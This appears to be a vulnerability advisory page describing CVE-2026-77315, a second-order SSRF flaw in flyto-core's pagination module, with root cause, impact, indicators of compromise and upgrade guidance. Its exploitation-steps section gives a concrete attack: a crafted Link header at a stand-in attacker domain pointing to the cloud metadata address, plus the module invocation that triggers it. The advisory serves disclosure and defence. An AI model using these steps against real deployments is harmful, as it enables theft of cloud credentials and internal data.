New from Wiz Research: Critical NGINX flaw. Understand the risk and impact.

CVE-2026-77315: 
Python vulnerability analysis and mitigation

Overview

CVE-2026-77315 is a second-order Server-Side Request Forgery (SSRF) vulnerability in Flyto2 Core (flyto-core), an execution kernel for automation and AI-agent workflows. The flaw exists in the http.paginate module, which validates only the initial base_url but follows server-supplied Link: rel="next" pagination URLs without re-applying the SSRF guard. All versions up to and including 2.26.7 are affected; the issue is fixed in version 2.26.8. It carries a CVSS v3.1 base score of 8.5 (High) (Github Advisory). The vulnerability was originally published on July 11, 2026, and added to the GitHub Advisory Database on November 20, 2026 (Github Advisory).

Technical details

The root cause is CWE-918 (Server-Side Request Forgery): src/core/modules/atomic/http/paginate.py line 495 calls validate_url_with_env_config(base_url) for the initial URL only. The inner pagination loop _paginate_link_header (lines 186–208) reads the next URL via _parse_link_header at line 203, assigns it to url at line 208, and passes it directly to session.request(method, url) at line 196 — with zero guard calls in the loop body. An attacker who controls a server reachable by the first allowed request can return a Link: <http://internal-host/>; rel="next" header, causing the application to fetch the internal resource on the next iteration. The fix in version 2.26.8 inserts a validate_url_with_env_config(next_url) call before following each Link-header URL, and returns SSRF_BLOCKED if the guard rejects the target (Github Advisory, Patch Commit).

Impact

A low-privileged authenticated caller can read the response body of arbitrary internal services or cloud instance metadata endpoints (e.g., http://169.254.169.254/latest/meta-data/), because the fetched content is aggregated into all_items and returned directly to the caller. The scope change (S:C) in the CVSS score reflects that the impact extends beyond the vulnerable component to internal infrastructure not otherwise reachable by the attacker. Confidentiality impact is rated High due to potential exposure of cloud credentials, internal API responses, and other sensitive data; integrity impact is Low and availability is not affected (Github Advisory).

Exploitability

A proof-of-concept reproduction procedure is publicly documented in the GitHub Security Advisory, demonstrating the attack with a concrete execute_module invocation and a crafted Link response header pointing at an internal address. The advisory classifies this as poc_steps with high confidence, noting it does not require runnable exploit code beyond the documented steps. There is no evidence of in-the-wild exploitation at this time, and the CVE is not listed in the CISA KEV catalog. The EPSS score is 0.0, reflecting low current exploitation probability (Github Advisory).

Exploitation steps

  1. Obtain low-privileged access: Acquire any valid account or API token with permission to invoke http.paginate on the target Flyto2 Core instance running version ≤ 2.26.7.
  2. Set up a controlled server: Deploy an HTTP server at an attacker-controlled domain (e.g., attacker.tld) that serves a valid first-page response (e.g., a JSON array) and includes a crafted Link response header pointing to the internal target:
    Link: <http://169.254.169.254/latest/meta-data/>; rel="next"
  3. Invoke http.paginate with the link_header strategy: Execute the module with the attacker-controlled URL as the base:
    execute_module http.paginate {"url":"http://attacker.tld/p1","strategy":"link_header"}
  4. SSRF guard bypass: The application validates http://attacker.tld/p1 (allowed), fetches page 1, parses the Link header, and sets next_url to the internal metadata address without re-running the SSRF guard.
  5. Internal resource fetched: On the next loop iteration, session.request(method, next_url) fetches the internal/metadata endpoint directly.
  6. Exfiltrate data: The response body from the internal service is aggregated into all_items and returned to the caller, exposing cloud credentials, internal API data, or other sensitive content (Github Advisory).

Indicators of compromise

  • Network: Outbound HTTP requests from the Flyto2 Core process to cloud metadata IP ranges (e.g., 169.254.169.254) or RFC 1918 internal addresses that are not part of normal workflow targets; requests to these addresses immediately following a request to an external attacker-controlled domain.
  • Logs: Application logs showing http.paginate invocations with strategy: link_header where the follow-up URL host differs from the initial base_url host; absence of SSRF_BLOCKED log entries on unpatched versions when internal addresses are followed.
  • Application Output: Aggregated all_items results in workflow outputs containing internal service responses, cloud metadata tokens (e.g., AWS IAM role credentials), or unexpected non-paginated content from internal hosts.
  • Process Behavior: The Flyto2 Core process making HTTP connections to loopback (127.0.0.1) or link-local (169.254.x.x) addresses during pagination workflows (Github Advisory).

Mitigation and workarounds

Upgrade flyto-core to version 2.26.8 or later, which re-validates every Link-header next-page URL through validate_url_with_env_config before following it, and returns SSRF_BLOCKED for rejected targets. The fix is available on PyPI: pip install --upgrade flyto-core. As a temporary workaround until patching is possible, restrict network egress from the Flyto2 Core execution environment to block access to internal RFC 1918 ranges and cloud metadata endpoints (e.g., 169.254.169.254) at the network or firewall level (Github Advisory, Release v2.26.8).

Community reactions

The vulnerability was noted on Mastodon via @thehackerwire and the @cve account on infosec.exchange shortly after publication, indicating routine community awareness tracking. No significant vendor statements beyond the official advisory, nor notable independent researcher commentary, have been identified at this time (Github Advisory).

Additional resources


Source: This report was generated using AI

Related Python vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-132275HIGH7.5
  • Python logoPython
  • svglib
NoYesNov 20, 2026
CVE-2026-132276MEDIUM5.9
  • Python logoPython
  • wcmatch
NoYesNov 20, 2026
CVE-2026-132277MEDIUM5.3
  • Python logoPython
  • inscriptis
NoYesNov 20, 2026
CVE-2026-77332LOW2.3
  • Python logoPython
  • memtomem-stm
NoYesNov 20, 2026
CVE-2026-77331LOW2
  • Python logoPython
  • memtomem-stm
NoYesNov 20, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management